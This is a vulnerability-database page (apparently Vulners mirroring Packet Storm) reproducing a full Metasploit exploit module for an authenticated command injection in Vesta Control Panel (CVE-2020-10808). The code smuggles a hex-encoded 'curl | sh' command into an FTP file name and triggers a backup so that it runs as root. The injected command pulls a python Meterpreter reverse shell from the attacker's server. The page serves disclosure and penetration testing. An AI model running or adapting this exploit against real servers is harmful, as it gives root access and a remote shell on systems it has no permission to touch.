Lucene search
K

Vesta Control Panel Authenticated Remote Code Execution

🗓️ 14 Apr 2020 00:00:00Reported by Mehmet InceType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 117 Views

Vesta Control Panel Authenticated Remote Code Executio

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Ftp  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Vesta Control Panel Authenticated Remote Code Execution",  
'Description' => %q{  
This module exploits an authenticated command injection vulnerability in the v-list-user-backups  
bash script file in Vesta Control Panel to gain remote code execution as the root user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mehmet Ince <[email protected]>' # author & msf module  
],  
'References' =>  
[  
['URL', 'https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/'],  
['CVE', '2020-10808']  
],  
'DefaultOptions' =>  
{  
'SSL' => true,  
'WfsDelay' => 300,  
'Payload' => 'python/meterpreter/reverse_tcp'  
},  
'Platform' => ['python'],  
'Arch' => ARCH_PYTHON,  
'Targets' => [[ 'Automatic', { }]],  
'Privileged' => true,  
'DisclosureDate' => "Mar 17 2020",  
'DefaultTarget' => 0,  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE, ],  
'Reliability' => [ FIRST_ATTEMPT_FAIL, ],  
'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES, ],  
}  
))  
  
register_options(  
[  
Opt::RPORT(8083),  
OptString.new('USERNAME', [true, 'The username to login as']),  
OptString.new('PASSWORD', [true, 'The password to login with']),  
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])  
]  
)  
deregister_options('FTPUSER', 'FTPPASS')  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def login  
#  
# This is very simple login process. Nothing important.  
# We will be using cookie and csrf_token across the module as instance variables.  
#  
print_status('Retrieving cookie and csrf token values')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login', '/'),  
})  
  
unless res  
fail_with(Failure::Unreachable, 'Target is unreachable.')  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 200 response code, but got #{res.code} instead.")  
end  
  
if res.get_cookies.empty?  
fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')  
end  
  
@cookie = res.get_cookies  
@csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''  
  
if @csrf_token.empty?  
fail_with(Failure::UnexpectedReply, 'There is no CSRF token at HTTP response.')  
end  
  
print_good('Cookie and CSRF token values successfully retrieved')  
  
print_status('Authenticating to HTTP Service with given credentials')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'login', '/'),  
'cookie' => @cookie,  
'vars_post' => {  
'token' => @csrf_token,  
'user' => username,  
'password' => password  
}  
})  
  
unless res  
fail_with(Failure::Unreachable, 'Target is unreachable.')  
end  
  
if res.body.include?('Invalid username or password.')  
fail_with(Failure::NoAccess, 'Credentials are not valid.')  
end  
  
if res.body.include?('Invalid or missing token')  
fail_with(Failure::UnexpectedReply, 'CSRF Token is wrong.')  
end  
  
if res.code == 302  
if res.get_cookies.empty?  
fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')  
end  
@cookie = res.get_cookies  
else  
fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 302 response code, but got #{res.code} instead.")  
end  
  
end  
  
def start_backup_and_trigger_payload  
#  
# Once a scheduled backup is triggered, the v-backup-user script will be executed.  
# This script will take the file name that we provided and will insert it into backup.conf  
# so that the backup process can be performed correctly.  
#  
# At this point backup.conf should contain our payload, which we can then trigger by browsing  
# to the /list/backup/ URL. Note that one can only trigger the backup (and therefore gain  
# remote code execution) if no other backup processes are currently running.  
#  
# As a result, the exploit will check to see if a backup is currently running. If one is, it will print  
# 'An existing backup is already running' to the console until the existing backup is completed, at which  
# point it will trigger its own backup to trigger the command injection using the malicious command that was  
# inserted into backup.conf  
  
print_status('Starting scheduled backup. Exploitation may take up to 5 minutes.')  
  
is_scheduled_backup_running = true  
  
while is_scheduled_backup_running  
  
# Trigger the scheduled backup process  
res = send_request_cgi({  
'method' => 'GET',  
'cookie' => @cookie,  
'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'),  
})  
  
if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\//  
# Due to a bug in send_request_cgi we must manually redirect ourselves!  
res = send_request_cgi({  
'method' => 'GET',  
'cookie' => @cookie,  
'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'),  
})  
if res && res.code == 200  
if res.body.include?('An existing backup is already running. Please wait for that backup to finish.')  
# An existing backup is taking place, so we must wait for it to finish its job!  
print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...')  
sleep(30)  
elsif res.body.include?('Task has been added to the queue.')  
# Backup process is being initiated  
print_good('Scheduled backup has been started ! ')  
else  
fail_with(Failure::UnexpectedReply, '/list/backup/ is reachable but replied message is unexpected.')  
end  
else  
# The web server couldn't reply to the request within given timeout window because our payload  
# executed in the background. This means that the res object will be 'nil' due to send_request_cgi()  
# timing out, which means our payload executed!  
print_good('Payload appears to have executed in the background. Enjoy the shells <3')  
is_scheduled_backup_running = false  
end  
else  
fail_with(Failure::UnexpectedReply, '/schedule/backup/ is not reachable.')  
end  
end  
end  
  
def payload_implant  
#  
# Our payload will be placed as a file name on FTP service.  
# Payload length can't be more then 255 and SPACE can't be used because of a  
# bug in the backend software.  
# s  
# Due to these limitations, the payload is fetched using curl before then  
# being executed with perl. This perl script will then fetch the full  
# python payload and execute it.  
#  
final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first  
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"  
  
# Yet another datastore variable overriding.  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
port_restore = datastore['RPORT']  
datastore['RPORT'] = 21  
datastore['FTPUSER'] = username  
datastore['FTPPASS'] = password  
  
#  
# Connecting to the FTP service with same creds as web ui.  
# Implanting the very first stage of payload as a empty file.  
#  
if (not connect_login)  
fail_with(Failure::NoAccess, 'Unable to authenticate to FTP service')  
end  
print_good('Successfully authenticated to the FTP service')  
  
res = send_cmd_data(['PUT', ".a';$(#{p});'"], "")  
if res.nil?  
fail_with(Failure::UnexpectedReply, "Failed to upload the payload to FTP server")  
end  
print_good('The file with the payload in the file name has been successfully uploaded.')  
disconnect  
  
# Revert datastore variables.  
datastore['RPORT'] = port_restore  
datastore['SSL'] = true if ssl_restore  
end  
  
def exploit  
start_http_server  
payload_implant  
login  
start_backup_and_trigger_payload  
stop_service  
end  
  
def on_request_uri(cli, request)  
print_good('First stage is executed ! Sending 2nd stage of the payload')  
second_stage = "python -c \"#{payload.encoded}\""  
send_response(cli, second_stage, {'Content-Type'=>'text/html'})  
end  
  
def start_http_server  
#  
# HttpClient and HttpServer use same SSL variable :(  
# We don't need SSL for payload delivery so we  
# will disable it temporarily.  
#  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
start_service({'Uri' => {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => resource_uri  
}})  
print_status("Second payload download URI is #{get_uri}")  
# We need to use instance variables since get_uri keeps using  
# the SSL setting from the datastore.  
# Once the URI is retrieved, we will restore the SSL settings within the datastore.  
@second_stage_url = get_uri  
datastore['SSL'] = true if ssl_restore  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation